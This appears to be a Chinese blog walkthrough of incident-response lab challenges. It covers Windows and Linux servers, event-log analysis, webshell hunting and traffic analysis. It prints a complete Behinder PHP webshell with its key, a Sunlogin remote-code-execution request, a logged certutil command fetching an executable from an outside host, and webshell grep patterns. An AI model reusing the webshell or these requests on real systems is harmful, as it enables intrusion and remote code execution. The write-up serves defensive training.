root@xuanji:~# cd /opt/.cymothoa-1-beta
root@xuanji:/opt/.cymothoa-1-beta# ls
Makefile bgrep bgrep.c core cymothoa cymothoa.c cymothoa.h hexdump_to_cstring.pl payloads payloads.h personalization.h syscall_code.pl syscalls.txt udp_server udp_server.c
cymothoa是一个后门工具
路径/opt/.cymothoa-1-beta/cymothoa
flag{087c267368ece4fcf422ff733b51aed9}
Q5
使用命令运行 ./x.xx 执行该文件 将查询的 Exec** 值 作为flag提交 flag{/xxx/xxx/xxx}
题目指的是运行1.py
root@xuanji:~# netstat -alntp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 11/apache2
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 10/sshd
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 1 10.244.33.43:47852 114.114.114.121:9999 SYN_SENT -
tcp 0 0 10.244.33.43:22 10.244.0.1:64618 ESTABLISHED 393/0
tcp6 0 0 :::22 :::* LISTEN 10/sshd
root@xuanji:~# ls $(which python3) -al
lrwxrwxrwx. 1 root root 9 Mar 23 2014 /usr/bin/python3 -> python3.4
flag{/usr/bin/python3.4}
注:可以专门去学学Linux权限维持
第四章 windows实战-emlog
Q1
通过本地 PC RDP到服务器并且找到黑客植入 shell,将黑客植入 shell 的密码 作为 FLAG 提交
RDP上去,有phpstudy,进入根目录,查看access.log,找到了shell.php,冰蝎木马
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
连接密码解一下
flag{rebeyond}
Q2
通过本地 PC RDP到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交
去看access.log去到C:\phpstudy_pro\Extensions\Apache2.4.39\logs去看apache的日志

可以看到
flag{192.168.126.1}
Q3
通过本地 PC RDP到服务器并且分析黑客的隐藏账户名称,将黑客隐藏账户名称作为 FLAG 提交
直接去看到Windows的用户目录

flag{hacker138$}
Q4
通过本地 PC RDP到服务器并且分析黑客的挖矿程序的矿池域名,将黑客挖矿程序的矿池域名称作为(仅域名)FLAG 提交
看进程并没有什么危险程序和挖矿程序
在hacker138用户桌面看到Kuang.exe,通过pyinstxtractor反编译得到Kuang.pyc(解包查看)
将字节码文件解析成源代码,在里面可以提取到访问的域名
也可以试试放到云沙箱里看看网络连接
放到010里查看

flag{wakuang.zhigongshanfang.top}
第四章-windows日志分析
服务器场景操作系统 Windows7
服务器账号密码:winlog/winlog123
连接端口为:ip:3389
按照题目提示可以根据系统功能分析,或桌面工具进行辅助分析
注意:远控软件内IP为虚拟IP,如在进行进程中没有找到相关外连,应该是由于连接超时造成的断开了,重启环境服务器或软件即可继续对外发起请求,请见谅
注意:题目中shell如需在本地分析,提前关闭杀毒软件,会被杀掉,非免杀
注意:winlog用户在操作关于系统权限功能时,一定要使用管理员权限打开工具再去执行
如:cmd直接打开则可能无法进行操作系统权限性操作,需右击cmd-使用管理员权限打开,才可以,其它工具也如此
题目描述:
某台Windows服务器遭到攻击者入侵,管理员查看发现存在大量rdp爆破的请求,攻击者使用了不同位置的IP(此处模拟),进行爆破并成功,并成功进入了系统,进入系统后又做了其它危害性操作,请根据各题目完成填写
既然是Windows日志分析,先要了解一下Windows的日志相关事件
核心安全监控事件
| 事件ID | 类别 | 中文说明 | 威胁等级 | 常见攻击场景 |
|---|---|---|---|---|
| 4624 | 登录 | 账户登录成功 | 低 | 正常登录,关注异常时间/地点 |
| 4625 | 登录 | 账户登录失败 | 高 | 暴力破解、密码猜测 |
| 4672 | 权限 | 授予特殊权限 | 高 | 权限提升、提权攻击 |
| 4688 | 进程 | 创建新进程 | 中 | 恶意软件执行、横向移动 |
| 4697 | 服务 | 安装新服务 | 高 | 持久化后门、恶意服务 |
| 4698 | 任务 | 创建计划任务 | 高 | 持久化、定时执行 |
| 4720 | 账户 | 创建用户账户 | 高 | 后门账户创建 |
| 4728 | 账户 | 用户添加到管理员组 | 高 | 权限提升 |
| 4768 | 认证 | Kerberos TGT请求 | 中 | Kerberos攻击(黄金票据) |
| 4781 | 常规 | 账户的名称已更改 | 中 |
账户与登录事件
| 事件ID | 类别 | 中文说明 | 关键字段 |
|---|---|---|---|
| 4624 | 登录成功 | 成功登录 | LogonType, IP, 账户名 |
| 4625 | 登录失败 | 失败登录 | 原因代码, 账户名, IP |
| 4634 | 注销 | 账户注销 | Logon ID |
| 4648 | 显式登录 | RunAs执行 | 进程名, 目标账户 |
| 4776 | NTLM认证 | 凭据验证 | 工作站名, 错误码 |
权限与变更事件
| 事件ID | 类别 | 中文说明 | 调查重点 |
|---|---|---|---|
| 4672 | 特殊权限 | 授予特权 | SeDebugPrivilege等高危特权 |
| 4720 | 账户创建 | 新建用户 | 创建者, 新账户名 |
| 4728 | 组添加 | 加管理员组 | 操作用户, 目标用户 |
| 4732 | 本地组 | 加本地组 | 组名, 用户名 |
| 4719 | 策略变更 | 审核策略修改 | 攻击者可能关闭日志 |
进程与执行事件
| 事件ID | 类别 | 中文说明 | 恶意指标 |
|---|---|---|---|
| 4688 | 进程创建 | 新进程启动 | 可疑路径, 父进程异常 |
| 4698 | 计划任务 | 创建定时任务 | 可疑任务名, 执行内容 |
| 4697 | 服务安装 | 安装服务 | 服务名, 服务路径异常 |
| 4104 | PowerShell | 脚本执行 | 脚本块内容, 编码命令 |
文件与对象访问
| 事件ID | 类别 | 中文说明 | 敏感操作 |
|---|---|---|---|
| 4663 | 文件访问 | 访问对象 | SAM文件, 密码文件访问 |
| 4657 | 注册表 | 修改注册表 | Run键, 服务键修改 |
| 4660 | 文件删除 | 删除文件 | 日志文件被删除 |
登录类型速查(Logon Type)
| 类型 | 说明 | 常见场景 |
|---|---|---|
| 2 | 交互式登录 | 控制台登录 |
| 3 | 网络登录 | SMB共享, RPC调用 |
| 5 | 服务登录 | 服务启动 |
| 7 | 解锁屏幕 | 工作站解锁 |
| 10 | 远程交互 | RDP远程桌面 |
Q1
- 审计桌面的logs日志,定位所有扫描IP,并提交扫描次数
将桌面的logs文件复制到我们的kali上,利用awk命令
┌──(root㉿kali)-[/home/kali/Desktop/XuJi]
└─# cut access.log -d - -f 1 |uniq -c |sort -rn |head -100
2893 192.168.150.67
2227 192.168.150.67
1196 192.168.150.67
219 192.168.150.1
157 192.168.150.1
132 192.168.150.1
74 127.0.0.1
65 127.0.0.1
54 192.168.150.33
18 127.0.0.1
15 192.168.150.67
6 127.0.0.1
4 192.168.150.1
4 192.168.150.1
2 192.168.150.1
2 192.168.150.1
2 127.0.0.1
1 192.168.150.60
1 192.168.150.1
1 192.168.150.1
1 192.168.150.1
1 192.168.150.1
1 127.0.0.1
1 127.0.0.1
1 127.0.0.1
1 127.0.0.1
可以看到有这些ip访问过
192.168.150.1的访问日志,其访问的路径都是public下的一些目录,属于正常访问,而192.168.150.60 只有一次 也可以排除
总的IP次数
192.168.150.67 6331次
192.168.150.33 54次
flag{6385}
Q2
- 审计相关日志,提交rdp被爆破失败次数
也就是登陆失败的,关注事件ID(4625),打开Windows的事件查看器(eventvmr.msc)
安全->筛选当前日志,关注事件4625,看到事件数2594

flag{2594}
Q3
- 审计相关日志,提交成功登录rdp的远程IP地址,多个以&连接,以从小到大顺序排序提交
即远程登陆成功事件嘛就是,关注事件ID4624,利用筛选器查看事件详细就可以看到具体IP
202个事件有些多了手查不太好找,后面干脆关注事件4648显式登陆

最后搜集出ip(已筛选)
192.168.150.1
192.168.150.178
192.168.150.128
flag{192.168.150.1&192.168.150.128&192.168.150.178}
Q4&5
- 提交黑客创建的隐藏账号
- 提交黑客创建的影子账号
lusrmgr.msc打开本地用户组
lusrmgr.msc 是 Windows 本地用户和组管理控制台工具,用于管理本地计算机上的用户账户和组

flag{hacker$}
影子账号
flag{hackers$}
| 类型 | 定义 | 特点 | 检测难度 |
|---|---|---|---|
| 隐藏账号 | 使用特殊技巧使账号在部分界面不可见 | 图形界面隐藏,命令行可见 | 较低 |
| 影子账号 | 完全克隆现有管理员账户的SID | 与原账户几乎完全相同 | 极高 |
法2
关注事件ID4720,专门记录用户创建的事件,当新用户被创建时,就会自动生成一个带有此ID条目的日志,详细记录此用户的信息
法3
通过regedit打开注册表编辑器,找到注册表地址HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
可以通过对比此用户管理工具,若找不到可能就是隐藏用户
Q6&7&8
- 提交远程shell程序的连接IP+端口,以IP:port方式提交
- 黑客植入了一个远程shell,审计相关进程和自启动项提交该程序名字
- 黑客使用了计划任务来定时执行某shell程序,提交此程序名字
netstat -ano
首先来查看当前系统下的所有网络连接

但是感觉没有
利用msconfig看一下启动项
msconfig(系统配置实用程序)是 Windows 系统启动和服务的配置管理工具,用于管理系统的启动项、服务、引导选项等

发现可疑exe程序
或者直接去搜索计划任务

也可以发现xiaowei.exxe这么写后缀估计是为了不被后缀检测杀掉
路径C:\Windows\system64\systemWo
放到微步云沙箱分析一下


flag{185.117.118.21:4444}
黑客植入了一个远程shell,审计相关进程和自启动项提交该程序名字
前面已经得到
flag{xiaowei.exe}
黑客使用了计划任务来定时执行某shell程序,提交此程序名字
查看计划任务

可以看到每天的23::07会下载exe,点击操作可以看到绝对路径

flag{download.bat}
第四章 windows实战-wordpress
简介
第四章 windows实战-wordpress
rdp 端口 3389
administrator xj@123456
Q1
请提交攻击者攻击成功的第一时间,格式:flag{YY:MM:DD hh:mm:ss}
日志路径
C:\phpstudy_pro\Extensions\Nginx1.15.11\logs\access.log

可以看到有很多404的,大多都是在进行目录遍历

但是他好像是按照黑客登陆进就算第一次攻击成功的,锁定login.php
192.168.141.55 - - [29/Apr/2023:22:44:32 +0800] "GET /manage/login.php?referer=http%3A%2F%2F192.168.141.188%2Fmanage%2F HTTP/1.1" 200 7224 "-" "Mozilla/5.0
flag{2023:04:29 22:45:23}
Q2
请提交攻击者的浏览器版本 flag{Firgfox/2200}
日志里看到指纹
flag{Firefox/110.0}
Q3
请提交攻击者目录扫描所使用的工具名称

flag{Fuzz Faster U Fool}
Q4
找到攻击者写入的恶意后门文件,提交文件名(完整路径)
可以直接用D盾秒一下
但是上面我们从日志中也可以看到恶意后门文件就是.x.php,在主机上找到绝对路径即可
看文件里面也有一句话木马
flag{C:\phpstudy_pro\WWW\.x.php}
Q5
找到攻击者隐藏在正常web应用代码中的恶意代码,提交该文件名(完整路径)
D盾直接扫出来了

flag{C:\phpstudy_pro\WWW\usr\themes\default\post.php}
Q6
请指出可疑进程采用的自动启动的方式,启动的脚本的名字 flag{1.exe}
在目录Windows下

将360.exe放到微步云沙箱看看

同时同目录下x.bat文件内容
C:\Windows\360.exe
确实是启动360.exe
flag{x.bat}
第四章 windows实战-向日葵
Q1
通过本地 PC RDP到服务器并且找到黑客首次攻击成功的时间为 为多少,将黑客首次攻击成功的时间为 作为 FLAG 提交(2028-03-26 08:11:25.123)
向日葵是一款远程软件,找到其日志
向日葵本身就具有漏洞RCE
/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+whoami
日志位置:C:\Program Files\Oray\SunLogin\SunloginClient\log

2024-03-26 10:16:25.585 - Info - [Acceptor][HTTP] new RC HTTP connection 192.168.31.45:64247, path: /check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+whoami, version: HTTP/1.1
最早记录
flag{2024-03-26 10:16:25.585}
Q2
通过本地 PC RDP到服务器并且找到黑客攻击的 IP 为多少,将黑客攻击 IP 作为 FLAG 提交
根据上面的那个日志就可以看到了
flag{192.168.31.45}
Q3
通过本地 PC RDP到服务器并且找到黑客托管恶意程序 IP 为,将黑客托管恶意程序 IP 作为 FLAG 提交
跟进日志(也可尝试全局搜索exe)
2024-03-26 10:31:07.576 - Info - [Acceptor][HTTP] new RC HTTP connection 192.168.31.45:49329, path: /check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+certutil+-urlcache+-split+-f+http%3A%2F%2F192.168.31.249%2Fmain.exe, version: HTTP/1.1
下载并执行了恶意程序main.exe,可以看到IP
flag{192.168.31.249}
Q4
找到黑客解密 DEC 文件,将黑客DEC 文件的 md5 作为 FLAG 提交
这个有点难绷了,在C:/Windwos/System32有一个qq.txt加群下载文件,没看wp找了好久找不到。。。。

然后群里有一个DEC.pem文件
计算一下文件的md5,也可以直接用Windows命令看certutil -hashfile .\DEC.pem MD5
flag{5ad8d202f80202f6d31e077fc9b0fc6b}
Q5
通过本地 PC RDP到服务器并且解密黑客勒索软件,将桌面加密文件中关键信息作为 FLAG 提交
桌面上就有加密文件
N2xTZ2Bsn2Y5lve7KZ36bgsFjqncBs55VO0zkeEIr5Iga/kbegA0BAstotBWnZ16+trNfkzl3apUobodMkC8covEo22p+kWAyVjMRyJ98EQ4Pspr/Y5HIuH0xuvPa82j7b0AMJHkyd2viuymI/mrxjJk2X0xlEE4YVioMLd22+w=
Your files have been encrypted
0sWK8adKSGh1Xaxo6n1mZFoyNDYVokXwkBhxnzxU+MEJIV44u48SdOiFzWLn849hObaP6z26lLtMnXaDUnAPuMh+nF2hw9RoAsur7KYxE8/iY/y4jOEBsHT5wvQldcNfntrDyMUCvrWTUHl2yapUmaIIf2rZsNsqMVJ9puZzp58+FJmulyC7R1C2yoP1jHhsdOkU7htbzUWWsm2ybL+eVpXTFC+i6nuEBoAYhv2kjSgL8qKBFsLKmKQSn/ILRPaRYDFP/srEQzF7Y4yZa4cotpFTdGUVU547Eib/EaNuhTyzgOGKjXl2UYxHM/v0c3lgjO7GDA9eF3a/BBXPAgtK126lUfoGK7iSAhduRt5sRP4=

flag{EDISEC_15c2e33e-b93f-452c-9523-bbb9e2090cd1}
第五章 Windows 实战-evtx 文件分析
附件题,免费嘿嘿[色]
.evtx 是 Windows 事件日志文件格式,全称 Windows Event Log。用于存储系统、安全、应用程序等各类事件记录
默认存储位置:C:\Windows\System32\winevt\Logs\
主要日志文件
| 文件名 | 说明 | 内容 |
|---|---|---|
| Security.evtx | 安全日志 | 登录、权限变更、审核事件 |
| System.evtx | 系统日志 | 服务、驱动、系统事件 |
| Application.evtx | 应用程序日志 | 应用程序相关事件 |
| Setup.evtx | 安装日志 | 系统安装、更新事件 |
| ForwardedEvents.evtx | 转发事件 | 从其他计算机收集的事件 |
其他常见日志:
Microsoft-Windows-PowerShell%4Operational.evtx– PowerShell操作日志Windows PowerShell.evtx– PowerShell脚本执行日志Microsoft-Windows-Windows Defender%4Operational.evtx– Defender日志Microsoft-Windows-TerminalServices%4Operational.evtx– RDP日志
Q1
1.将黑客成功登录系统所使用的IP地址作为Flag值提交
直接关注事件ID(4648)显式登陆,排除掉127.0.0.1的
或者筛选安全事件4624,找最早登录的

flag{192.168.36.133}
Q2
2.黑客成功登录系统后修改了登录用户的用户名,将修改后的用户名作为Flag值提交
筛选安全日志ID4781,账户名称已更改
OldTargetUserName:Administrator
NewTargetUserName:Adnimistartro
flag{Adnimistartro}
Q3
3.黑客成功登录系统后成功访问了一个关键位置的文件,将该文件名称(文件名称不包含后缀)作为Flag值提交
寻找日志事件4663,尝试访问对象检测未经授权访问文件和文件夹的行为
筛选完不多,也只有这一个,说明就是这个

flag{SCHEMA}
Q4
4.黑客成功登录系统后重启过几次数据库服务,将最后一次重启数据库服务后数据库服务的进程ID号作为Flag值提交
看到应用的日志文件,筛选mysql
定位到最后一次启动数据库,进程为8820

flag{8820}
Q5
5.黑客成功登录系统后修改了登录用户的用户名并对系统执行了多次重启操作,将黑客使用修改后的用户重启系统的次数作为Flag值提交
系统重启事件 – 事件ID 1074:计算机开机、关机、重启的时间、原因、注释
注意计算机为WIN-B1B1T3K57G9,成对找

flag{3}
第五章 linux实战-CMS01
下载文件是ssh私钥,finalshell直接连接选用加入私钥连接即可
Q1
通过本地 PC SSH到服务器并且分析黑客的 IP 为多少,将黑客 IP 作为 FLAG 提交
查看日志服务,服务器不是apache也不是nginx,看到是secure日志
所在路径:/var/log/secure
通过查看发现IP位于第11列,利用awk锁定ip,查看登陆成功的IP
[root@ip-10-0-10-1 log]# grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr
3 192.168.20.1
2 36.7.107.206
1 223.98.108.113
1 192.168.52.1
1 127.0.0.1
尝试登陆次数最多的IP
flag{192.168.20.1}
法2
也可通过读取Web访问日志文件
cat /www/wwwlogs/access.log | cut -d" " -f1 | sort | uniq -c
根据访问记录锁定黑客IP
[root@ip-10-0-10-1 log]# cat /www/wwwlogs/access.log | cut -d" " -f1 | sort | uniq -c
456 127.0.0.1
114 192.168.20.1
Q2
通过本地 PC SSH到服务器并且分析黑客修改的管理员密码(明文)为多少,将黑客修改的管理员密码(明文) 作为 FLAG 提交
既然是CMS框架,存放位置锁定为/www/wwwroot目录下,通过查看配置文件/www/wwwroot/127.0.0.1/lib/config.inc.php
得到数据库连接信息
/** 数据库设置 */
define('SQLDEBUG',0);
define('DB','kaoshi');//MYSQL数据库名
define('DH','127.0.0.1');//MYSQL主机名,不用改
define('DU','kaoshi');//MYSQL数据库用户名
define('DP','5Sx8mK5ieyLPb84m');//MYSQL数据库用户密码
define('DTH','x2_');//系统表前缀,不用改
连接数据库查找信息即可
[root@ip-10-0-10-1 lib]# mysql -h 127.0.0.1 -u kaoshi -p5Sx8mK5ieyLPb84m
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 2
Server version: 5.7.44-log Source distribution
Copyright (c) 2000, 2023, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| kaoshi |
+--------------------+
2 rows in set (0.00 sec)
mysql> use kaoshi
Database changed
mysql> show tables;
+---------------------+
| Tables_in_kaoshi |
+---------------------+
| x2_answer |
| x2_app |
| x2_area |
| x2_ask |
| x2_attach |
| x2_attachtype |
| x2_basic |
| x2_block |
| x2_category |
| x2_cequeue |
| x2_certificate |
| x2_city |
| x2_cityarea |
| x2_cnttouser |
| x2_comment |
| x2_config |
| x2_consumelog |
| x2_content |
| x2_coupon |
| x2_course |
| x2_coursesubject |
| x2_docfloder |
| x2_dochistory |
| x2_docs |
| x2_examhistory |
| x2_exams |
| x2_examsession |
| x2_exercise |
| x2_favor |
| x2_feedback |
| x2_knows |
| x2_log |
| x2_module |
| x2_module_fields |
| x2_navs |
| x2_openbasics |
| x2_opencourse |
| x2_orders |
| x2_poscontent |
| x2_position |
| x2_progress |
| x2_province |
| x2_quest2knows |
| x2_questionanalysis |
| x2_questionrows |
| x2_questions |
| x2_questype |
| x2_record |
| x2_recorddata |
| x2_reply |
| x2_sections |
| x2_seminar |
| x2_seminar_content |
| x2_seminar_elem |
| x2_seminar_layout |
| x2_seminar_tpls |
| x2_session |
| x2_subject |
| x2_user |
| x2_user_group |
| x2_wxlogin |
+---------------------+
61 rows in set (0.00 sec)
mysql> select * from x2_user_group;
+---------+--------------+---------------+---------------+------------+--------------------+--------------+
| groupid | groupname | groupmoduleid | groupdescribe | groupright | groupmoduledefault | groupdefault |
+---------+--------------+---------------+---------------+------------+--------------------+--------------+
| 1 | 管理员 | 1 | 管理员 | | 1 | 0 |
| 8 | 普通用户 | 9 | 普通用户 | | 0 | 1 |
| 9 | 教师 | 12 | 教师 | | 0 | 0 |
+---------+--------------+---------------+---------------+------------+--------------------+--------------+
3 rows in set (0.00 sec)
# 本文作者: gddFeng @🎐清风.
# 本文链接: http://blog.gddfeng.com/靶场练习/玄机/应急响应/第五章/第五章-linux实战-cms01/
# 版权声明: 本站所有文章除特别声明外,均采用 (CC)BY-NC-SA 许可协议。转载请注明出处!
mysql> select * from x2_user;
+--------+------------+-------------+-----------------+----------------+----------------------------------+----------+----------------+-------------+-------------+----------------+-------------+--------------+------------+------------------------------------------------------------------------------------------------------------------------------+--------------------+--------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------+------------+-----------+-------------+---------------------------------------------------------+------------+------------+
| userid | useropenid | userunionid | username | useremail | userpassword | usercoin | userregip | userregtime | userlogtime | userverifytime | usergroupid | usermoduleid | useranswer | manager_apps | usertruename | normal_favor | teacher_subjects | userprofile | usergender | userphone | useraddress | userphoto | userstatus | normal_sfz |
+--------+------------+-------------+-----------------+----------------+----------------------------------+----------+----------------+-------------+-------------+----------------+-------------+--------------+------------+------------------------------------------------------------------------------------------------------------------------------+--------------------+--------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------+------------+-----------+-------------+---------------------------------------------------------+------------+------------+
| 1 | | NULL | peadmin | 958074@163.com | f6f6eb5ace977d7e114377cc7098b7e3 | 279 | 127.0.0.1 | 1471795200 | 0 | NULL | 1 | 0 | NULL | a:7:{i:0;s:4:"user";i:1;s:7:"content";i:2;s:4:"exam";i:3;s:8:"document";i:4;s:6:"course";i:5;s:4:"bank";i:6;s:8:"autoform";} | 111111111111111111 | | | | 男 | | 信息部 | files/attach/images/content/20230802/16909740072788.jpg | 3 | |
| 2 | | NULL | 教师管理员 | 958074@126.com | 96e79218965eb72c92a549dd5a330112 | 98 | 127.0.0.1 | 1471795200 | 0 | NULL | 9 | 0 | NULL | | 213123 | | a:14:{i:0;s:2:"13";i:1;s:2:"12";i:2;s:1:"5";i:3;s:1:"4";i:4;s:1:"3";i:5;s:1:"1";i:6;s:1:"2";i:7;s:2:"17";i:8;s:2:"15";i:9;s:2:"16";i:10;s:2:"18";i:11;s:2:"19";i:12;s:2:"20";i:13;s:2:"21";} | 77777 | | | | | 3 | |
| 3 | | | zgsf | zgsf@Admin.com | af0c68603004a1b5af4d87a71a813057 | 0 | 192.168.20.131 | 1709795218 | 0 | 0 | 8 | 0 | | | | | | | | | | | 0 | |
| 4 | | | zgsfAdmin | zgsf@zgsf.com | ed2b3e3ce2425550d8bfdea8b80cc89a | 0 | 192.168.20.131 | 1709796233 | 0 | 0 | 8 | 0 | | | | | | | | | | | 0 | |
+--------+------------+-------------+-----------------+----------------+----------------------------------+----------+----------------+-------------+-------------+----------------+-------------+--------------+------------+------------------------------------------------------------------------------------------------------------------------------+--------------------+--------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------+------------+-----------+-------------+---------------------------------------------------------+------------+------------+
4 rows in set (0.00 sec)
pedadmin 是管理员,解MD5所以得到
flag{Network@2020}
Q3
通过本地 PC SSH到服务器并且分析黑客第一次Webshell的连接URL为多少,将黑客第一次Webshell的连接URL作为 FLAG 提交(无需域名flag{xxx.php?abc-app-upload})
分析流量包,在服务器上有一个流量包,查找http,跟踪http流(可通过黑客IP进行筛选出来)

蚁剑流量特征
flag{index.php?user-app-register}
Q4
通过本地 PC SSH到服务器并且分析黑客Webshell连接密码多少,将黑客Webshell连接密码 作为 FLAG 提交
根据上面那个流量包可以很容易看出连接密码
flag{Network2020}
Q5
通过本地 PC SSH到服务器并且分析黑客使用的后续上传的木马文件名称为多少,将黑客使用的后续上传的木马文件名称 作为 FLAG 提交
回看流量,筛选http流发现

在index.php?user-app-register后有很多的version2.php
通过查看此流量

是在index.php出传入的具有明显的冰蝎木马特征,即后续上传的木马
flag{version2.php}
Q6
通过本地 PC SSH到服务器并且分析黑客隐藏的flag2,将黑客使隐藏的flag2 作为 FLAG 提交
通过查看历史命令
[root@ip-10-0-10-1 ~]# history
1 systemctl disable firewalld
·························
95 vim alinotify.php
96 cat /etc/shadow
97 who
98 w
99 history
100 useradd flag3{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}
101 env
102 $flag3 = [root@web-server .api]# useradd flag3{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}
103 useradd: invalid user name 'flag3{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}'
104 $flag3 = flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}
··························
135 61;6;7;21;22;23;24;28;32;42c61;6;7;21;22;23;24;28;32;42c61;6;7;21;22;23;24;28;32;42c61;6;7;21;22;23;24;28;32;42c61;6;7;21;22;23;24;28;32;42c61;6;7;21;22;23;24;28;32;42c61;6;7;21;22;23;24;28;32;42c61;6;7;21;22;23;24;28;32;42c61;6;7;21;22;23;24;28;32;42c61;6;7;21;22;23;24;28;32;42c61;6;7;21;22;23;24;28;32;42c61;6;7;21;22;23;24;28;32;42c61;6;7;21;22;23;24;28;32;42c61;6;7;21;22;23;24;28;32;42c61;6;7;21;22;23;24;28;32;42c61;6;7;21;22;23;24;28;32;42c61;6;7;21;22;23;24;28;32;42c
136 history
137 bt
·····························
主要锁定在vim alinotify.php修改了此文件
[root@ip-10-0-10-1 ~]# find / -name "alinotify.php"
/www/wwwroot/127.0.0.1/api/alinotify.php
/www/wwwroot/127.0.0.1/.api/alinotify.php
[root@ip-10-0-10-1 ~]# cat /www/wwwroot/127.0.0.1/.api/alinotify.php
<?php
namespace PHPEMS;
/*
* Created on 2013-12-26
*
* To change the template for this generated file go to
* Window - Preferences - PHPeclipse - PHP - Code Templates
*/
define('PEPATH',dirname(dirname(__FILE__)));
class app
{
public $G;
public function __construct()
{
$this->ev = \PHPEMS\ginkgo::make('ev');
$this->order = \PHPEMS\ginkgo::make('orders','bank');
}
public function run()
{
$alipay = \PHPEMS\ginkgo::make('alipay');
$orderid = $this->ev->get('out_trade_no');
$order = $this->order->getOrderById($orderid);
$verify_result = $alipay->alinotify();
if($verify_result)
{
if($this->ev->get('trade_status') == 'TRADE_FINISHED' ||$this->ev->get('trade_status') == 'TRADE_SUCCESS')
{
if($order['orderstatus'] != 2)
{
$this->order->payforOrder($orderid,'alipay');
}
exit('sucess');
}
elseif($_POST['trade_status'] == 'WAIT_BUYER_PAY')
{
exit('fail');
}
else
{
exit('fail');
}
}
else
{
exit('fail');
}
}
}
include PEPATH.'/lib/init.cls.php';
$app = new app(new ginkgo);
$app->run();
$flag2 = "flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}";
?>
得到flag
flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}
Q7
通过本地 PC SSH到服务器并且分析黑客隐藏的flag3,将黑客使隐藏的flag3 作为 FLAG 提交
flag3在查看历史命令时已经看到
flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}
第五章 linux实战-黑链
简介
服务器场景操作系统 Linux
服务器账号密码 root xjty110pora 端口 2222
任务环境说明
注:样本请勿在本地运行!!!样本请勿在本地运行!!!样本请勿在本地运行!!!
应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件,请上机排查
开放题目
漏洞修复
黑链(Black Hat SEO Links) 是指黑客通过非法手段在他人网站中植入的隐藏或伪装链接
常用的黑链检测技术
# 1.1 快速查找网站目录中的异常文件
find /var/www/html -type f -name "*.php" -exec grep -l "base64_decode\|eval(\$_POST\|gzinflate" {} \;
# 1.2 检测包含外链的PHP文件
grep -r "http://.*\.(ru|cn|cc|top|xyz)" /var/www/ --include="*.php"
# 1.3 检查最近修改的文件(黑客常修改的文件)
find /var/www -type f -mtime -2 -name "*.php" | head -20
Q1
找到黑链添加在哪个文件 flag 格式 flag{xxx.xxx}
远程登录上服务器后,将网站文件/var/www/html下的dump下来,放到vscode里找到
因为是靶机所以不会有真实黑链,此文件作为模拟黑链存放

flag{header.php}
Q2
webshell的绝对路径 flag{xxxx/xxx/xxx/xxx/}
将dump下来的文件放到D盾查杀,404.php为webshell

flag{/var/www/html/usr/themes/default/404.php}
Q3
黑客注入黑链文件的 md5 md5sum file flag{md5}
即注入webshell的文件,D盾扫出的poc1.js

一目了然,利用此文件进行注入webshell,md5一下文件名
flag{10c18029294fdec7b6ddab76d9367c14}
Q4
攻击入口是哪里?url请求路径,最后面加/ flag{/xxxx.xxx/xxxx/x/}
因为是通过加载js文件进行的恶意代码注入,所以优先考虑XSS,翻找了comments.php提交不对,后来才发现给了流量包,所以就是要通过分析流量包,看何处上传了poc1.js文件
利用过滤器寻找http contains "poc1.js"

/index.php/archives/1/嵌入加载了poc1.js
flag{/index.php/archives/1/}
第六章 流量特征分析-蚁剑流量分析
简介
1.木马的连接密码是多少
2.黑客执行的第一个命令是什么
3.黑客读取了哪个文件的内容,提交文件绝对路径
4.黑客上传了什么文件到服务器,提交文件名
5.黑客上传的文件内容是什么
6.黑客下载了哪个文件,提交文件绝对路径
参考文章:https://goodlunatic.github.io/posts/5422d65/#%E8%9A%81%E5%89%91%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90
需要注意的地方
判断攻击者使用的事什么编码器
路径base64字符串需要去除前两个字符串再进行解码
响应数据的头尾有额外的字符,需要先去除然后再base64解码
蚁剑webshell动态特征
使用一句话木马进行上传后,抓包可以看到会有以@ini_set(“display_errors”,”0″);@set_time_limit(0)开头
并且响应体返回结果会是base64编码混淆字符,格式为:随机数 结果 随机数
1.木马的连接密码是多少
